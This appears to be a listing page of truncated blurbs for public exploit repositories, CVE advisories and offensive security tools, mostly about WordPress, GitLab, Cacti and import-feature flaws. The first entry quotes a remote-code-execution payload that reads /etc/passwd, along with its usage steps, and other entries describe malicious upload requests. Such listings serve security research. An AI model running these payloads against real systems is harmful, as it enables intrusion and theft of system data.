CVE-2019-9978

CVE-2019-9978 CVE-2019-9978 - PoC RCE in Social WarFare Plugin system'cat /etc/passwd' Save it with filename: payload.txt and upload it on a server. The URI should look like: https://yoursite.com/payload.txt. Finally, supply your --target and --payload-uri options: $ python cve-2019-9978.py...

Cartero

Cartero Cartero is now a Go CLI with an embedded, no-configuration workspace database instead of the old MongoDB-dependent runtime. The current implementation provides: a polished terminal experience powered by Cobra and Lip Gloss a local admin web UI and safe testing pages via cartero serve...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false during upload processing. An authenticated user possessing import capabilities—such as a default site administrator or a non-super-admin site administrator in a WordPress Multisite architecture—can bypass file restriction enforcement to upload arbitrary...

CVE-2026-128116

The SvelteKit framework is vulnerable to cross-origin script execution in versions prior to 2.70.4 and 3.1.1 . When configured with router.resolution: 'server', the application may treat pathnames starting with // as protocol-relative module specifiers during client-side navigation. This allows a...

Robber

Robber — DLL Hijack Scanner Free, open source tool for finding DLL hijacking opportunities in Windows executables. No third-party dependencies. What it does Windows loads DLLs by searching a fixed set of directories in order — the executable's own directory first, then System32, Windows, PATH...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Just run it directly python server-1.py Arbitrary File Upload PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effect as follows: CVE-2021-41127 server-1.py Default model name: evilimportmodel.tar.gz Malicious mod...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 Arbitrary File Upload / RCE CVE-2019-12169 Exploit Title: ATutor 2.2.4 Arbitrary File Upload / RCE CVE-2019-12169 Date: 5/24/19 Exploit Author: liquidsky JMcPeters Vendor Homepage: https://atutor.github.io/ Software Link: https://sourceforge.net/projects/atutor/files/latest/download...

import-users-from-csv-with-meta

import-users-from-csv-with-meta Import Users From CSV with Meta 1.15 - Unauthorised Authenticated Users Export...

CVE-2026-63166 Omnispace Agora Project 26.10.0 Stored XSS via CSV Import Preview

Omnispace Agora Project through 26.10.0 contains a stored cross-site scripting vulnerability that allows attackers to inject malicious HTML markup by controlling imported directory data or an uploaded CSV file, as values are rendered into table cell text and value attributes after only...

CVE-2026-63166

Omnispace Agora Project versions through 26.10.0 are vulnerable to a stored cross-site scripting (XSS) vulnerability. The flaw exists in VuePersonsImportExport.php , where values from imported directory data or uploaded CSV files are rendered into table cell text and value attributes using only T...

EUVD-2026-125585

Omnispace Agora Project through 26.10.0 contains a stored cross-site scripting vulnerability that allows attackers to inject malicious HTML markup by controlling imported directory data or an uploaded CSV file, as values are rendered into table cell text and value attributes after only...

CVE-2019-15858

CVE-2019-15858 Unauthenticated Remote Code Execution at Woody Ad Snippets PoC The vulnerabilities discovered by nintechnet and exploit released by GeneralEG & X-Vector An unauthenticated options import vulnerability combined with a stored XSS vulnerability can lead to remote code execution in the...

BloodHound_CustomQueries_Toolset

BloodHoundCustomQueriesToolset Tool to import your customqueries for BloodHound "Legacy" to BloodHound "Community". note: on linux/kali, your customqueries.json file for BloodHound Legacy is located at /.config/bloodhound/customqueries.json Installation 1. Clone this repository. 2. Copy the...

CVE-2025-9216

StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales & More = 1.4.0 - Authenticated Subscriber+ Arbitrary File Upload The StoreEngine plugin contains a vulnerability in it's CSV Import/Export feature that allows any authenticated user subscriber, author,...

CVE-2024-25641-Exploit-for-Cacti-1.2.26

CVE-2024-25641 Exploit for Cacti 1.2.26 Exploiting CVE-2024-25641 on Cacti 1.2.26. When a user is authenticated, an arbitrary file write vulnerability allows Remote Code Execution RCE. Overview This script automates the process of exploiting CVE-2024-25641 in Cacti 1.2.26. The vulnerability allow...

CVE-2026-25991

CVE-2026-25991 PoC - Tandoor Recipes SSRF Proof-of-Concept for SSRF via Recipe Import Disclosure: Originally reported by me via GHSA-j6xg-85mh-qqf7 ⚠️ Authorized pentesting/research use only. Vulnerability Information Field| Value ---|--- CVE ID| CVE-2026-25991 Severity| 🔴 High CVSS Score| 7.7 CVS...

gitlab-gitea-import-ssrf

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · gitlab-gitea-import-ssrf Write-up: https://abraxaslabs.tech/research/gitlab-gitea-import-ssrf gitlab-gitea-import-ssrf GitLab CE 19.4.1 - GitLab Inc. Gitea import calls UrlBlocker.validate! once, then for https throws...

LogFileParser

Features Decode and dump $LogFile records and transaction entries. Decode NTFS attribute changes. Optionally resolve all datarun list information available in $LogFile. Option: "Reconstruct data runs". Recover transactions from slack space within $LogFile. Choose to reconstruct missing or damaged...

CVEs

CVE-2022-2992: Remote Command Execution via Github import Information Description: This allows an authenticated user to achieve remote code execution via the Import from GitHub API endpoint. Versions Affected: all versions from 11.10 prior to 15.1.6, 15.2 to 15.2.4, 15.3 to 15.3.2 Version Fixed:...

gitlab_rce_cve-2022-2884

gitlabrcecve-2022-2884 This is a Python3 program that exploits GitLab authenticated RCE vulnerability known as CVE-2022-2884. DISCLAIMER This tool is intended for security engineers and appsec people for security assessments. Please use this tool responsibly. I do not take responsibility for the...